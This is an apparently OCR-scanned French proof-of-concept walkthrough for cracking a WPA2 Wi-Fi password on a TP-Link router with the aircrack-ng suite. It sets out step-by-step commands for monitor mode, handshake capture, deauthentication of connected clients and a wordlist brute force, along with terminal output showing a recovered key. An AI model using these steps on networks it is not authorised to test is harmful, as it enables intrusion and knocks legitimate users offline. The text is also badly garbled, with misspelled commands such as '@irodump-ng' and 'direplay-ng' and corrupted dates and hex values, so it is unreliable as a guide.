Proof Of Concept : Airmon-ng
Récupération mot de passe Wi-Fi

29/12/2024 - 01:38

Informations :

Materiel cibler : TP-LINK Archer C6 v4

wlan0 : mon interface wifi

wlanOmon : mon interface wifi avec mode monitor

Déroulement

Récupérez le nom de votre interface wifi

Activez le mode monitor sur la carte wifi

@irmon-ng wlano

Analyse des réseaux environnants disponibles
-> On reléve le réseau a cibler (BSSID / CH / ESSID)

Example :

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

DC:62:79:95:CB:BD -8 22 0 0 4 360 WPA2 CCMP PSK TP-Link

Lancer simultanément le snif sur le handshake ET la déconnexion des utilisateurs du réseau
cible

Analyse
@irodump-ng --bssid <BSSID> --channel <CH> --write handshake wlan®mon

@irodump-ng --bssid DC:62:79:95:CB:BD --channel 4 --write handshake wlan@mon

Déconnexion
direplay-ng --deauth 10 -a <BSSID> wlan@mon

aireplay-ng --deauth 10 -a DC:62:79:95:CB:BD wlan@mon

Vérifiez que vous avez bien le « WPA handshake : [MAC] » en haut a droite :



Fichier Actions Editer Vue Aide

[ Elapsed: @ s ][ 2024-12-29 01:24

PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

STATION PWR Rate Lost Frames Notes Probes

Doit devenir :
1[ Elapsed: 2 mins ][ 2824-12-29 @1:14 ][ WPA handshake: DC:62:79:95:CB:BD
PWR RXQ Beacons #Data, #/s CH MBE ENC CIPHER AUTH ESSID
SEliEL 1185 79 1 4 360 WPA2 CCMP PSK TP-Link
STATION PWR Rate Lost Frames Notes Probes
DC:62:79:95:CB:BD 82:4F:@2:22:37:D6 -18 le- 1 11 740 EAPOL

Quitting ...

Commencez le brute force
@ircrack-ng -w <wordlist.txt> -b <BSSID> handshake-01.cap
@ircrack-ng -w <wordlist.txt> -b DC:62:79:95:CB:BD handshake-01.cap

L}

reot@KALL: fhemefjleroux/Documents/POCT

Fichier Actions Editer Vue Aide

Aircrack-ng 1.7
[BB:00:26] 194752/203808 keys tested (7601.04 k/s)
Time left: 1 second
Current passphrase: cohortative

Master Key : EA 856 14 QB

Af 27 4A 51
Transient Key : 18 DB 1C 7E

@C BD 26 F7

AD 79 A9 TE

5A 5C 62 BA

EAPOL HMAC : 34 C@ 74 B3




Puis

L]

reot@KALI: /hemefjleroux/Deocuments/POCT

Fichier Actions Editer Vue Aide

Aircrack-ng 1.7
[@@:@@:27] 2813 31808 key : ; (7589.53 k/s5)
Time left: @ seconds

KEY FOUND! [ 21841997 ]

C 04
D 1

EAPOL HMAC : B7 AB 49 BC 32 74 33 94 B6 BA C4 2

/home/jleroux/Documents/POC1

EN PLUS

Verifier que la carte wifi est bien en mode monitor
iwconfig

Identifier et tuer les processus conflictuel avec airmon-ng
airmon-ng check
@irmon-ng check kill

verifier que le handshake a bien été enregistrer (verifier .cap)
dircrack-ng handshake-01.cap

Verifier avec Wireshark que le handshake a été enregistrer
ireshark handshake-01.cap
Linterface Wireshark s’ouvre, filtrer par « EAPOL » il doit y avoir les paquets par pairs.
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